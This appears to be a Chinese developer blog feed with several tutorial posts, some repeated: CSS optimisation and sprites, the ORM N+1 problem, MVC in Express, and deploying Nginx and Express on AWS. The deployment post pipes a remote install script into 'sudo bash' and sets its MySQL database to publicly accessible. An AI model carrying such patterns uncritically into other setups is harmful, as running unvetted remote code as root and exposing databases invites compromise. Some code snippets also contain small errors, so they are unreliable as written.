css 裏頭最胖的肯定是 bootstrap 了,但是因為網頁是別人設計的網頁所以不知道要怎麼挑選客製化的 bootstrap。所幸 gulp-uncss 可以自動偵測 html 裡用到的 class,幫 css 瘦身。
之後用 gulp-concat 打包,順序無妨。
這次的結果優化在 domInteractive,因為所有 js 都用 defer 處理。下面是結果:
為了可以讓圖片的 request 減少,通常會把大小一樣的圖拼成雪碧圖 (sprite),再利用 background(mask)-position
的 css 把圖片切割。
下面以 footer 的四個 icon 來示範。
之前有將這四個 icon 統一取樣成 60px 60px 的大小,所以先開一個 240px 60px 的圖層。
接著選擇 檢視 -> 新增參考線配置 -> 4 欄 1 列
一一將圖片載入並「水平置中 垂直置中」在每一個格子裡
輸出 png 以後記得再轉成 webp。
.footer__social-media {
display: flex;
align-items: center;
.footer__social-icon {
@include size(30px);
@include icon(#bbb);
margin-left: 5px;
cursor: pointer;
&:hover {
background: #eee;
}
&.icon-fb {
-webkit-mask-position: 0 0;
@include icon-webp('sprite-community', 'png')
}
&.icon-twitter {
-webkit-mask-position: (100% / 3) 0;
@include icon-webp('sprite-community', 'png')
}
&.icon-ig {
-webkit-mask-position: (100% / 3 * 2) 0;
@include icon-webp('sprite-community', 'png')
}
&.icon-g-plus {
-webkit-mask-position: 100% 0;
@include icon-webp('sprite-community', 'png')
}
}
}
這邊筆記一下為甚麼 mask-size 與 mask-position 要這樣設定,cover
屬性會使得背景圖整個「不變形」、「寬高等比例」、「在必要時局部裁切」的鋪滿整個容器空間。
因為在網頁上裝社群 icon 的容器大小是 30px 30px,背景圖的大小是 240px 60px,為了要填滿整個容器,背景圖的高度重新取樣為 30px,又因為背景圖的寬高比不能變,所以寬度變為 120px。 這個情況使得背景圖的高度與容器相同、背景圖的寬度是容器的四倍
。
要知道決定背景圖與容器相對位置的方法,首先要知道容器本身作為個固定的座標系統
,如下圖,容器的左上角為座標 (0,0),往右往下為正。
接著我們決定要把背景圖的左上角
放在座標的哪個位置上,假設我們把背景圖放在 (0,0),就會像下圖這樣,可以順利將 sprite 圖的第一張顯示出來。
但是用百分比當參數的話又是怎麼回事呢? 第二張 icon 使用了 mask-position: (100% / 3) 0
,百分比使用了下列的公式來轉換成座標:
(容器長[寬]度-背景長[寬]度) x 百分比 = 座標
100% / 3 就是三分之一,也就是說 mask-position 的 X 座標是 (30-120) * (1/3) = -30
把背景圖的左上角放置在 (-30,0) 的位置可以顯示第二張 icon,如下圖。
沒有甚麼差別,可能是因為這次是用台灣的伺服器跑的,因為新加坡的有好幾百個在排隊等...
這次的步驟是參考這個網頁的原始製作者 yakim-shu 的優化流程的,如果說還有甚麼可以做的,我想到以下兩點:
這次主要做的事情有:
這些流程不外乎是減低資源大小
、減少瀏覽器請求次數
以及避免 DOM/CCSOM 的 block
。其中圖片是載入速度的瓶頸所在,所以這次也在處理圖片上學到了最多。
本來以為這個挑戰可以很快完成,但是其實碰到的問題很多,一方面不熟悉工具,另一方面因為不是自己寫的網頁,所以只要動到 scss 都很容易不小心壞掉 XD
推薦大家都一定要來玩!
]]>今天忽然心血來潮想做一個提拉米蘇,想像這樣子的情境:冰箱在儲藏室裡、食譜在書房裡、而你在廚房準備要做提拉米蘇。
首先,你到書房拿了製作提拉米蘇的食譜,並且將它帶到廚房。
你閱讀食譜的第一行:
馬斯卡彭乳酪 250g
於是你去儲藏室的冰箱拿出 250 克的馬斯卡彭乳酪。
接著你閱讀食譜的第二行:
鮮奶油 100ml
於是你去儲藏室的冰箱拿出 100 毫升的鮮奶油。
最後你閱讀食譜的第三行:
手指餅乾 10 根
於是你去儲藏室拿出 10 根手指餅乾。
這樣子來來回回在廚房與儲藏室之間真是讓你累壞了,其實你正在體驗的,就是 N + 1 problem 你的 ORM 被迫要在你拿到食譜以後再多做 N 次的查詢 (去儲藏室拿食材 N 趟)。
現在有一個食譜網站長得像這樣。
巧克力蛋糕 | 蘋果派 | 麵包 |
---|---|---|
黑巧克力 200 克 | 蘋果 4 個 | 麵粉 300 克 |
蛋 3 顆 | 蛋黃 1 顆 | 水 300 毫升 |
奶油 100 克 | 奶油 100 克 | 鹽 1 茶匙 |
麵粉 50 克 | 麵粉 50 克 | 麵糰 100 克 |
糖 100 克 | 糖 100 克 |
背後涉及到了兩個 model,分別是 Recipe 以及 Content
Recipe 的每一列記錄了成品的名稱,比如說蘋果派或是麵包;而 Content 的第一欄則以 recipe-name 紀錄對應到的成品名稱,並且記錄了材料的名稱以及數量,比如說:
recipe-name | name | amount
巧克力蛋糕 | 黑巧克力 | 200 克
所以說一筆 Recipe 擁有多筆 Content,而一筆 Content 則屬於一筆 Recipe。
如果是用 express + sequelize 寫的網站,可能會寫這樣的 Controller:
// 拿食譜
const recipes = await Recipe.findAll()
const contents = []
// 拿材料
for (const recipe of recipes) {
const content = await awesomeCaptain.getContents()
ingredients.push(content)
}
食譜上有三種料理,為了把這種料理的食譜給呈現在網站上,我們總共必須造訪資料庫 4 次,一次拿出整本食譜,另外三次拿出三種料理要用到的食材。
我們可以造訪資料庫一次就好嗎? 如果可以在資料庫裏面把 content 給 join 到 recipe 便沒問題了,就好像是在書房拿到食譜以後,先不回廚房,而是先去閣樓的冰箱把食譜上載明要用到的食材都一起拿到廚房去。
這個動作有一個專有名詞叫做 eager loading
,以 sequelize 為例,可以將剛剛的程式碼改寫為:
// 拿食譜與材料
const recipes = await Recipe.findAll({
include: Content
})
相對於 eager loading 則是 lazy loading
,當然不是每次都要使用 eager loading,但如果需要或取關聯資料,使用 lazy loading 就好像自己製造了一場 DDoS 的攻擊呢(笑
使用 sequelize 的讀者可以參考 sequelize 的官方文件 有更多關於 include 的進階用法。
]]>今天忽然心血來潮想做一個提拉米蘇,想像這樣子的情境:冰箱在儲藏室裡、食譜在書房裡、而你在廚房準備要做提拉米蘇。
首先,你到書房拿了製作提拉米蘇的食譜,並且將它帶到廚房。
你閱讀食譜的第一行:
馬斯卡彭乳酪 250g
於是你去儲藏室的冰箱拿出 250 克的馬斯卡彭乳酪。
接著你閱讀食譜的第二行:
鮮奶油 100ml
於是你去儲藏室的冰箱拿出 100 毫升的鮮奶油。
最後你閱讀食譜的第三行:
手指餅乾 10 根
於是你去儲藏室拿出 10 根手指餅乾。
這樣子來來回回在廚房與儲藏室之間真是讓你累壞了,其實你正在體驗的,就是 N + 1 problem 你的 ORM 被迫要在你拿到食譜以後再多做 N 次的查詢 (去儲藏室拿食材 N 趟)。
現在有一個食譜網站長得像這樣。
巧克力蛋糕 | 蘋果派 | 麵包 |
---|---|---|
黑巧克力 200 克 | 蘋果 4 個 | 麵粉 300 克 |
蛋 3 顆 | 蛋黃 1 顆 | 水 300 毫升 |
奶油 100 克 | 奶油 100 克 | 鹽 1 茶匙 |
麵粉 50 克 | 麵粉 50 克 | 麵糰 100 克 |
糖 100 克 | 糖 100 克 |
背後涉及到了兩個 model,分別是 Recipe 以及 Content
Recipe 的每一列記錄了成品的名稱,比如說蘋果派或是麵包;而 Content 的第一欄則以 recipe-name 紀錄對應到的成品名稱,並且記錄了材料的名稱以及數量,比如說:
recipe-name | name | amount
巧克力蛋糕 | 黑巧克力 | 200 克
所以說一筆 Recipe 擁有多筆 Content,而一筆 Content 則屬於一筆 Recipe。
如果是用 express + sequelize 寫的網站,可能會寫這樣的 Controller:
// 拿食譜
const recipes = await Recipe.findAll()
const contents = []
// 拿材料
for (const recipe of recipes) {
const content = await awesomeCaptain.getContents()
ingredients.push(content)
}
食譜上有三種料理,為了把這種料理的食譜給呈現在網站上,我們總共必須造訪資料庫 4 次,一次拿出整本食譜,另外三次拿出三種料理要用到的食材。
我們可以造訪資料庫一次就好嗎? 如果可以在資料庫裏面把 content 給 join 到 recipe 便沒問題了,就好像是在書房拿到食譜以後,先不回廚房,而是先去閣樓的冰箱把食譜上載明要用到的食材都一起拿到廚房去。
這個動作有一個專有名詞叫做 eager loading
,以 sequelize 為例,可以將剛剛的程式碼改寫為:
// 拿食譜與材料
const recipes = await Recipe.findAll({
include: Content
})
相對於 eager loading 則是 lazy loading
,當然不是每次都要使用 eager loading,但如果需要或取關聯資料,使用 lazy loading 就好像自己製造了一場 DDoS 的攻擊呢(笑
使用 sequelize 的讀者可以參考 sequelize 的官方文件 有更多關於 include 的進階用法。
]]>Object-Relational Mapping (ORM)是將關聯式資料庫映射至物件導向的資料抽象化技術,對這個物件進行新增、查詢、編輯、刪除,底層的實作會使用相對應的 SQL 語法去操作資料庫。此時程式設計師不用再去管料庫是使用哪一種類型(如:SQL Server、Oracle、DB2、MySQL、Sybase...),同一套語法便可以了,這便是因為 ORM 為程式設計師還有資料庫之間搭起了一道橋樑。
也許這麼想 ORM 會更好,它就像一個翻譯,原本你必須會資料庫的語言,用資料庫的語言跟資料庫溝通,但有了 ORM,你可以將需求用你熟悉的物件導向程式語言告訴 ORM,ORM 再用資料庫的語言將你的請求翻譯給資料庫。
舉例來說下面這兩個 MySQL、MsSQL 的語法做的其實是一樣的事情
// MySQL
SELECT * FROM Menu WHERE price=100 LIMIT 10
// MsSQL
SELECT TOP 10 * FROM TestTable WHERE price=100
看到一個有趣的關於 Ruby 案例是這樣子的,這便是額外使用原生 SQL 語法的案例。
User.where(“age between ? and ?”,10,30)
]]>Object-Relational Mapping (ORM)是將關聯式資料庫映射至物件導向的資料抽象化技術,對這個物件進行新增、查詢、編輯、刪除,底層的實作會使用相對應的 SQL 語法去操作資料庫。此時程式設計師不用再去管料庫是使用哪一種類型(如:SQL Server、Oracle、DB2、MySQL、Sybase...),同一套語法便可以了,這便是因為 ORM 為程式設計師還有資料庫之間搭起了一道橋樑。
也許這麼想 ORM 會更好,它就像一個翻譯,原本你必須會資料庫的語言,用資料庫的語言跟資料庫溝通,但有了 ORM,你可以將需求用你熟悉的物件導向程式語言告訴 ORM,ORM 再用資料庫的語言將你的請求翻譯給資料庫。
舉例來說下面這兩個 MySQL、MsSQL 的語法做的其實是一樣的事情
// MySQL
SELECT * FROM Menu WHERE price=100 LIMIT 10
// MsSQL
SELECT TOP 10 * FROM TestTable WHERE price=100
看到一個有趣的關於 Ruby 案例是這樣子的,這便是額外使用原生 SQL 語法的案例。
User.where(“age between ? and ?”,10,30)
]]>
首先先看一下簡略的架構圖,說明 express 如何使用 MVC 如何處理一個 request 並傳送 response。
當應用程式想要做「刪除/新增/修改/瀏覽」的動作,需要與資料庫互動,這時候會有一個物件 (Model 物件)與資料庫連動,當用 javascript 對這個物件做新增、刪除的動作時也會連動到資料庫。
MVC 裡的 Model 層負責管理 Model 物件,通常會寫下一些商業邏輯,舉例來說,會員購物打折,或者是超過一定的金額免運費等等。這些獨立於網頁介面的商業邏輯,或者說產品邏輯,會寫在 Model 層裡。
View 負責管理畫面呈現,也就是 HTML 樣板 (template)。在實際的情況中,因為畫面可能會呈現動態的資料,所以會進一步使用樣板引擎 (tempalte engine),來放入動態的資料。
request 會先被送到 Controller,再由 Controller 通知 Model 調度資料,資料接著被傳遞給 View 來產生樣板 (template),並將呈現資料的 HTML 頁面回傳給客戶端。
此外,有關應用程式本身的邏輯問題,通常會由 Controller 來控制,比如說
Controller 會設置許多不同的路徑,當收到 get/post/delete 或是收到不同路由就會引發後續一系列的動作。
最後讓我們再看回架構圖,當一個 request 被送進來,會先送到 Controller,根據路由以及動作來觸發 Controller 上的開關。之後可能牽涉到 Controller 先檢查是否登入,如果有登入便呼叫 Model 從資料庫拿取資料,Controller 接著把資料送給 html template engine ,最後 Controller 把 html 當作 response 回傳給使用者。
]]>首先先看一下簡略的架構圖,說明 express 如何使用 MVC 如何處理一個 request 並傳送 response。
當應用程式想要做「刪除/新增/修改/瀏覽」的動作,需要與資料庫互動,這時候會有一個物件 (Model 物件)與資料庫連動,當用 javascript 對這個物件做新增、刪除的動作時也會連動到資料庫。
MVC 裡的 Model 層負責管理 Model 物件,通常會寫下一些商業邏輯,舉例來說,會員購物打折,或者是超過一定的金額免運費等等。這些獨立於網頁介面的商業邏輯,或者說產品邏輯,會寫在 Model 層裡。
View 負責管理畫面呈現,也就是 HTML 樣板 (template)。在實際的情況中,因為畫面可能會呈現動態的資料,所以會進一步使用樣板引擎 (tempalte engine),來放入動態的資料。
request 會先被送到 Controller,再由 Controller 通知 Model 調度資料,資料接著被傳遞給 View 來產生樣板 (template),並將呈現資料的 HTML 頁面回傳給客戶端。
此外,有關應用程式本身的邏輯問題,通常會由 Controller 來控制,比如說
Controller 會設置許多不同的路徑,當收到 get/post/delete 或是收到不同路由就會引發後續一系列的動作。
最後讓我們再看回架構圖,當一個 request 被送進來,會先送到 Controller,根據路由以及動作來觸發 Controller 上的開關。之後可能牽涉到 Controller 先檢查是否登入,如果有登入便呼叫 Model 從資料庫拿取資料,Controller 接著把資料送給 html template engine ,最後 Controller 把 html 當作 response 回傳給使用者。
]]>之前使用過 apache 搭配 php 寫的後台,現在開始利用 nodejs express 寫後端,又遇到了要架伺服器的時候了,express 比較特別的地方在於,有別於 php 是利用檔案系統來當作路由,express 的路由是自定義的,下面是一個取自express 官方的小範例。
const express = require('express')
const app = express()
const port = 3000
app.get('/', (req, res) => {
res.send('Hello World!')
})
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
可以看到程式碼中設定了 '/' 的路由,會顯示 'Hello World',另外值得注意的是 port = 3000 這一行,代表這個 express app 是監聽 3000 埠(ㄅㄨˋ)號的,也就是說一支 express 程式其實就是一支後台程式了。
為了方便不同網站之間的管理,通常會將不同網站的程式碼分開寫成不同的 express app,分別交給不同的 port 監聽,因為 一個 port 只能被一支後台程式占用。
假設現在我們寫了兩支程式,分別交給 port 3001 以及 3002 監聽,並且把域名 example.tw 給指向主機,這樣一來使用者必須輸入 https://example.com:3001/
以及 https://example.com:3002/
來獲取對應內容,但這樣很麻煩,誰會去記得 port 號碼呀!
如果在 http/https 專用的 80/443 port 架一台伺服器,然後透過不同的子網域讓這台伺服器把使用者的需求轉交給對應 port 上的伺服器就可以解決這個問題了。聽起來有點抽象,可以看看下面這張圖來了解。
可以看到 example.com 有兩個子網域 aaa.example 以及 bbb.example,使用者造訪這兩個子網域時,預設會讓 80/403 port 上的代理伺服器處理。代理伺服器裡的設定檔設定將 aaa.example.com 的請求送到 3001 port、將 bbb.example.com 的請求送到 3002 port,如此一來使用者便不用輸入埠號了,因為代理伺服器幫忙代勞了。
說了這麼多,這篇文章接下來會實際展示如何在 ubuntu 作業系統上架設 Nginx (代理伺服器) + express 的系統。
關於 AWS EC2 的主機,在之前架設 APACHE + PHP 的伺服器就有跑過一次完整的流程,請參考這裡,在這次的範例裡,記得開啟 80、403 以及 443 port 的防火牆,分別給 http, https 以及 SSH 使用。
在租好了 AWS EC2 主機之後先用 SSH 連進主機,在終端機輸入
ssh -i {金鑰地址} ubuntu@{IPv4}
接著先更新 apt 裡註冊的套件,然後下載 nginx ,在終端機輸入
sudo apt update
sudo apt install nginx
再來要設定主機的防火牆,在終端機輸入
sudo ufw app list
可以看到註冊在 ufw 底下的有這些設定檔
Available applications:
Nginx Full
Nginx HTTP
Nginx HTTPS
OpenSSH
接著把 Nginx Full 打開,這樣一來就可以允許 http/https 的請求,在終端機輸入
sudo ufw allow 'Nginx FULL'
最後要確認一下有沒有開啟 Nginx 服務,在終端機輸入
sudo systemctl status nginx
如果出現 Active: inactive
的內容,在終端機輸入
sudo systemctl start nginx
到這邊為止完成了基礎了 Nginx 架設。
這邊要補充一下為甚麼已經在 AWS EC2 的 security group 開啟了 80 以及 443 port,但是在 ec2 仍然要 sudo ufw allow 'Nginx FULL' 開啟 http 以及 https 的監聽,我們可以想像有兩層 防火牆,第一層是流量能不能進入 ec2 instance 的守門員,第二層才是進入 ec2 以後的防火牆呢!
現在 80/403 port 已經由 Nginx 監聽,記得上面的代理伺服器架構圖嗎? 首先要在 DNS 設定 子網域,將子網域都先指向 EC2 的主機。
在 cloudFlare 上設定 DNS ,首先將網域(bocyun.tw)指向主機的 public IPv4,
接著設定 CNAME,將 blog.bocyun.tw 以及 getprize.bocyun.tw 設為 bocyun.tw 的別名,如此一來,當使用者對 blog.bocyun.tw / getprize.bocyun.tw 發起請求都會被視為對 bocyun.tw 發起請求,指向主機的 public IPv4。
到此為止不論是 bocyun.tw, blog.bocyun.tw 還是 getprize.bocyun.tw 都會被 80/443 port 的 Nginx 伺服器處理。最後一步要讓 Nginx 分別把 blog.bocyun.tw 以及 getprize.bocyun.tw 交給負責的 port 去處理。
在終端機輸入
cd /etc/nginx/
vim nginx.conf
看看實際上 Nginx 在執行的時候會跑哪一些設定檔。
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
設定檔寫了會 include sites-enabled 所有的檔案以及 conf.d 底下附檔名是 conf 的檔案,因此我們決定在 sites-enabled 新增 configuration。
在終端機輸入
cd sites-available/
等等,不是要到 sites-enabled 底下嗎? 這邊我們利用在 sites-available 下創建設定檔,再建立捷徑到 sites-enabled 的方式來進行。如果要暫時關閉服務,可以把捷徑先移除,不會去動到實際的設定檔,這就是設定捷徑的好處了。
先新增設定檔 blog.bocyun.tw ,在終端機輸入
sudo vim blog.bocyun.tw
在 blog.bocyun.tw 裡寫入(注意:備註不要真的寫出來!)
server {
// 實際監聽的 port
listen 80;
// server 名稱
server_name blog.bocyun.tw;
// 代理到的 port
location / {
proxy_pass http://127.0.0.1:5001;
}
}
再來記得要在 sites-enabled 底下建立捷徑,在終端機輸入
sudo ln -s /etc/nginx/sites-available/blog.bocyun.tw /etc/nginx/sites-enabled/
reload 設定檔,在終端機輸入
sudo systemctl reload nginx
把 getprize.bocyun.tw 也照做一次,這時候便完成了 Nginx 代理的功能。
架好後台系統以後可以開始把資源丟進去,先把資料夾的權限打開才可以寫入資源,在終端機輸入
sudo chown ubuntu /var/www/html
接著可以選擇使用 SFTP 傳輸,用 FileZilla 建立 SFTP 連線。
也可以直接用把 github 上的專案 clone 下來,在終端機輸入
git clone {repository 的網址}
靜態資源已經備妥,接著要連線到 mysql 資料庫,可以在主機上安裝 mysql 的程式,也可以連線到外部主機的 mysql,這次使用 AWS 提供的 RDS 來玩玩。
到AWS主控台,點選RDS服務。
點選 create database
選擇 standard create,這樣可以自行設定。
選擇 mysql (隨你開心)
選擇方案,這邊選擇 free tier
進入基本設定,首先填入 RDS 的主機名稱,假設填入 database-1,之後這台有 mysql 資料庫主機的域名就會是 database-1xxxxx,但不是很重要,因為外面的人看不到。
還要填入一組使用者帳密,可以自行輸入或是讓隨機匹配一組。
接著選主機的資源配置,抱歉因為剛剛選了 free tier ,現在只給選最陽春的。
再來選儲存空間,因為怕被收費,所以就沒改預設。
最後進入連線設定,快完成了!
首先設定 Virtual Private Cloud (VPC),讓其他服務在這個虛擬網路中,只有透過在這個 VPC 中設定好的連線方式才能連接到服務。
然後在進階選項中的 Publicly accessible 選擇 Yes,這樣 VPC 以外的裝置也可以連線到這個資料庫,不過通常如果要安全一點,會把 EC2, RDS 放在同一個 VPS 下,然後拒絕 Publicly accessible。
DB 連線認證方式使用預設選項,也就是使用DB密碼即可連線。
最後要注意看一下收費方式喔! 重點有 3 個
資料庫有了,主機有了,可是還沒有 express 跟 sequelize,這樣子網頁跑不起來,所以接下來要在主機裝好 express 以及 sequelize。
首先要找到 nodejs 的 binary file,在終端機輸入
curl -fsSL https://deb.nodesource.com/setup_16.x | sudo -E bash -
sudo apt-get install -y nodejs
檢查有沒有安裝成功,在終端機輸入
node -v
接著進到寫 express server 的資料夾,安裝 dependencies,在終端機輸入
npm install
再來要把主機連上前面創建好的 AWS RDS 資料庫,先到 AWS RDS 服務看創建好的資料庫的資訊。
接著到 security group 開啟 3306 port 的防火牆
測試用 MySQL WorkBench 看有沒有辦法連線成功
測試成功以後,可以修改 express configuration 連線設定檔
但是現在資料庫還是空的,要利用 sequelize-cli 幫我們把 DB 內的資料庫以及表格建立起來。
在終端機輸入
npx sequelize-cli db:create
創建好資料庫以後,在終端機輸入
npx sequelize-cli db:migration
要注意的是不要一次執行全部的 migration 檔,打個比方,假設 B 表格有 foreign key 對到 A 表格,那麼如果先創建 B 表格就會失敗,所以要按照當初 migration 檔生成的順序一一執行。
最後如果要執行 express server,要執行 node {app.js} ,可是這樣有點麻煩,如果 cmd 的視窗被關掉,nodejs 就停止執行了,難道就不能像 Nginx 一樣在背景執行嗎?
在 global 環境安裝 pm2,在終端機輸入
npm install pm2 -g
用 pm2 執行 js 檔,在終端機輸入
pm2 start {app.js}
要開兩個 sever 就輸入兩次,如果要檢查 pm2 上運行的程式,在終端機輸入
pm2 ls
要重開 / 重載入 / 暫停 / 殺掉 運行的程式,在終端機輸入
pm2 restart id
pm2 reload id
pm2 stop id
pm2 delete id
最後一點還滿重要的,因為是在背景運行,所以 nodejs 不會在 cmd 上報錯,在終端機輸入
pm2 logs
這樣就可以偵錯啦~
到此為止總算是完成 Nginx + express 的伺服器啦! 恭喜
]]>之前使用過 apache 搭配 php 寫的後台,現在開始利用 nodejs express 寫後端,又遇到了要架伺服器的時候了,express 比較特別的地方在於,有別於 php 是利用檔案系統來當作路由,express 的路由是自定義的,下面是一個取自express 官方的小範例。
const express = require('express')
const app = express()
const port = 3000
app.get('/', (req, res) => {
res.send('Hello World!')
})
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
可以看到程式碼中設定了 '/' 的路由,會顯示 'Hello World',另外值得注意的是 port = 3000 這一行,代表這個 express app 是監聽 3000 埠(ㄅㄨˋ)號的,也就是說一支 express 程式其實就是一支後台程式了。
為了方便不同網站之間的管理,通常會將不同網站的程式碼分開寫成不同的 express app,分別交給不同的 port 監聽,因為 一個 port 只能被一支後台程式占用。
假設現在我們寫了兩支程式,分別交給 port 3001 以及 3002 監聽,並且把域名 example.tw 給指向主機,這樣一來使用者必須輸入 https://example.com:3001/
以及 https://example.com:3002/
來獲取對應內容,但這樣很麻煩,誰會去記得 port 號碼呀!
如果在 http/https 專用的 80/443 port 架一台伺服器,然後透過不同的子網域讓這台伺服器把使用者的需求轉交給對應 port 上的伺服器就可以解決這個問題了。聽起來有點抽象,可以看看下面這張圖來了解。
可以看到 example.com 有兩個子網域 aaa.example 以及 bbb.example,使用者造訪這兩個子網域時,預設會讓 80/403 port 上的代理伺服器處理。代理伺服器裡的設定檔設定將 aaa.example.com 的請求送到 3001 port、將 bbb.example.com 的請求送到 3002 port,如此一來使用者便不用輸入埠號了,因為代理伺服器幫忙代勞了。
說了這麼多,這篇文章接下來會實際展示如何在 ubuntu 作業系統上架設 Nginx (代理伺服器) + express 的系統。
關於 AWS EC2 的主機,在之前架設 APACHE + PHP 的伺服器就有跑過一次完整的流程,請參考這裡,在這次的範例裡,記得開啟 80、403 以及 443 port 的防火牆,分別給 http, https 以及 SSH 使用。
在租好了 AWS EC2 主機之後先用 SSH 連進主機,在終端機輸入
ssh -i {金鑰地址} ubuntu@{IPv4}
接著先更新 apt 裡註冊的套件,然後下載 nginx ,在終端機輸入
sudo apt update
sudo apt install nginx
再來要設定主機的防火牆,在終端機輸入
sudo ufw app list
可以看到註冊在 ufw 底下的有這些設定檔
Available applications:
Nginx Full
Nginx HTTP
Nginx HTTPS
OpenSSH
接著把 Nginx Full 打開,這樣一來就可以允許 http/https 的請求,在終端機輸入
sudo ufw allow 'Nginx FULL'
最後要確認一下有沒有開啟 Nginx 服務,在終端機輸入
sudo systemctl status nginx
如果出現 Active: inactive
的內容,在終端機輸入
sudo systemctl start nginx
到這邊為止完成了基礎了 Nginx 架設。
這邊要補充一下為甚麼已經在 AWS EC2 的 security group 開啟了 80 以及 443 port,但是在 ec2 仍然要 sudo ufw allow 'Nginx FULL' 開啟 http 以及 https 的監聽,我們可以想像有兩層 防火牆,第一層是流量能不能進入 ec2 instance 的守門員,第二層才是進入 ec2 以後的防火牆呢!
現在 80/403 port 已經由 Nginx 監聽,記得上面的代理伺服器架構圖嗎? 首先要在 DNS 設定 子網域,將子網域都先指向 EC2 的主機。
在 cloudFlare 上設定 DNS ,首先將網域(bocyun.tw)指向主機的 public IPv4,
接著設定 CNAME,將 blog.bocyun.tw 以及 getprize.bocyun.tw 設為 bocyun.tw 的別名,如此一來,當使用者對 blog.bocyun.tw / getprize.bocyun.tw 發起請求都會被視為對 bocyun.tw 發起請求,指向主機的 public IPv4。
到此為止不論是 bocyun.tw, blog.bocyun.tw 還是 getprize.bocyun.tw 都會被 80/443 port 的 Nginx 伺服器處理。最後一步要讓 Nginx 分別把 blog.bocyun.tw 以及 getprize.bocyun.tw 交給負責的 port 去處理。
在終端機輸入
cd /etc/nginx/
vim nginx.conf
看看實際上 Nginx 在執行的時候會跑哪一些設定檔。
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
設定檔寫了會 include sites-enabled 所有的檔案以及 conf.d 底下附檔名是 conf 的檔案,因此我們決定在 sites-enabled 新增 configuration。
在終端機輸入
cd sites-available/
等等,不是要到 sites-enabled 底下嗎? 這邊我們利用在 sites-available 下創建設定檔,再建立捷徑到 sites-enabled 的方式來進行。如果要暫時關閉服務,可以把捷徑先移除,不會去動到實際的設定檔,這就是設定捷徑的好處了。
先新增設定檔 blog.bocyun.tw ,在終端機輸入
sudo vim blog.bocyun.tw
在 blog.bocyun.tw 裡寫入(注意:備註不要真的寫出來!)
server {
// 實際監聽的 port
listen 80;
// server 名稱
server_name blog.bocyun.tw;
// 代理到的 port
location / {
proxy_pass http://127.0.0.1:5001;
}
}
再來記得要在 sites-enabled 底下建立捷徑,在終端機輸入
sudo ln -s /etc/nginx/sites-available/blog.bocyun.tw /etc/nginx/sites-enabled/
reload 設定檔,在終端機輸入
sudo systemctl reload nginx
把 getprize.bocyun.tw 也照做一次,這時候便完成了 Nginx 代理的功能。
架好後台系統以後可以開始把資源丟進去,先把資料夾的權限打開才可以寫入資源,在終端機輸入
sudo chown ubuntu /var/www/html
接著可以選擇使用 SFTP 傳輸,用 FileZilla 建立 SFTP 連線。
也可以直接用把 github 上的專案 clone 下來,在終端機輸入
git clone {repository 的網址}
靜態資源已經備妥,接著要連線到 mysql 資料庫,可以在主機上安裝 mysql 的程式,也可以連線到外部主機的 mysql,這次使用 AWS 提供的 RDS 來玩玩。
到AWS主控台,點選RDS服務。
點選 create database
選擇 standard create,這樣可以自行設定。
選擇 mysql (隨你開心)
選擇方案,這邊選擇 free tier
進入基本設定,首先填入 RDS 的主機名稱,假設填入 database-1,之後這台有 mysql 資料庫主機的域名就會是 database-1xxxxx,但不是很重要,因為外面的人看不到。
還要填入一組使用者帳密,可以自行輸入或是讓隨機匹配一組。
接著選主機的資源配置,抱歉因為剛剛選了 free tier ,現在只給選最陽春的。
再來選儲存空間,因為怕被收費,所以就沒改預設。
最後進入連線設定,快完成了!
首先設定 Virtual Private Cloud (VPC),讓其他服務在這個虛擬網路中,只有透過在這個 VPC 中設定好的連線方式才能連接到服務。
然後在進階選項中的 Publicly accessible 選擇 Yes,這樣 VPC 以外的裝置也可以連線到這個資料庫,不過通常如果要安全一點,會把 EC2, RDS 放在同一個 VPS 下,然後拒絕 Publicly accessible。
DB 連線認證方式使用預設選項,也就是使用DB密碼即可連線。
最後要注意看一下收費方式喔! 重點有 3 個
資料庫有了,主機有了,可是還沒有 express 跟 sequelize,這樣子網頁跑不起來,所以接下來要在主機裝好 express 以及 sequelize。
首先要找到 nodejs 的 binary file,在終端機輸入
curl -fsSL https://deb.nodesource.com/setup_16.x | sudo -E bash -
sudo apt-get install -y nodejs
檢查有沒有安裝成功,在終端機輸入
node -v
接著進到寫 express server 的資料夾,安裝 dependencies,在終端機輸入
npm install
再來要把主機連上前面創建好的 AWS RDS 資料庫,先到 AWS RDS 服務看創建好的資料庫的資訊。
接著到 security group 開啟 3306 port 的防火牆
測試用 MySQL WorkBench 看有沒有辦法連線成功
測試成功以後,可以修改 express configuration 連線設定檔
但是現在資料庫還是空的,要利用 sequelize-cli 幫我們把 DB 內的資料庫以及表格建立起來。
在終端機輸入
npx sequelize-cli db:create
創建好資料庫以後,在終端機輸入
npx sequelize-cli db:migration
要注意的是不要一次執行全部的 migration 檔,打個比方,假設 B 表格有 foreign key 對到 A 表格,那麼如果先創建 B 表格就會失敗,所以要按照當初 migration 檔生成的順序一一執行。
最後如果要執行 express server,要執行 node {app.js} ,可是這樣有點麻煩,如果 cmd 的視窗被關掉,nodejs 就停止執行了,難道就不能像 Nginx 一樣在背景執行嗎?
在 global 環境安裝 pm2,在終端機輸入
npm install pm2 -g
用 pm2 執行 js 檔,在終端機輸入
pm2 start {app.js}
要開兩個 sever 就輸入兩次,如果要檢查 pm2 上運行的程式,在終端機輸入
pm2 ls
要重開 / 重載入 / 暫停 / 殺掉 運行的程式,在終端機輸入
pm2 restart id
pm2 reload id
pm2 stop id
pm2 delete id
最後一點還滿重要的,因為是在背景運行,所以 nodejs 不會在 cmd 上報錯,在終端機輸入
pm2 logs
這樣就可以偵錯啦~
到此為止總算是完成 Nginx + express 的伺服器啦! 恭喜
]]>const obj = {
value: 1,
hello: function() {
console.log(this.value)
},
inner: {
value: 2,
hello: function() {
console.log(this.value)
}
}
}
const obj2 = obj.inner
const hello = obj.inner.hello
obj.inner.hello() // ??
obj2.hello() // ??
hello() // ??
這一次我們不討論 JavaScript 的執行過程,我們要討論 this
這個東西,程式碼執行到最後三行的時候會印出三次 this.value,所以這三個 this.value 會是甚麼呢?
在之前變數可以被取用的範圍取決於語彙環境 (Lexical Environment),也就是說是取決於你把這段程式碼寫在哪
,再白話一點就是 Scope 是取決於函式在哪裡被定義的。而不是在哪裡被執行的。
但是,this 正好相反,它取決於函式在哪裡被執行
。其實 this
這樣子的取名很傳神,給人一種就是現在這個東西的感覺。
obj.inner.hello()
